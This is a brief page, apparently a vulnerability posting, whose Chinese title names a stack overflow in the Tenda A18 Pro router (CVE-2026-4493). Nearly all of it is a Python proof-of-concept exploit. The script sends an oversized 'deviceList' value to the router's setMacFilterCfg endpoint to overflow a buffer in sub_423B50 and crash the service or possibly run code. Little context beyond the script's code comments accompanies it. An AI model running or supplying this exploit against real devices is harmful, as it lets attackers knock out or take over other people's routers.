CVE-2026-4493 Tenda A18 Pro栈溢出漏洞

import requests # Target URL for the vulnerable endpoint target_url = "http://<TARGET_IP>/goform/setMacFilterCfg" # The vulnerability is triggered by a long 'deviceList' parameter # causing a stack-based buffer overflow in function sub_423B50. # Sending a large payload to crash the service or potentially execute code. payload = "A" * 2000 # Adjust length based on specific buffer size data = { "deviceList": payload } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response Status Code: {response.status_code}") # If the device crashes, the request might hang or return no response except requests.exceptions.RequestException as e: print(f"Connection error: {e}") print("The target might have crashed due to the overflow.")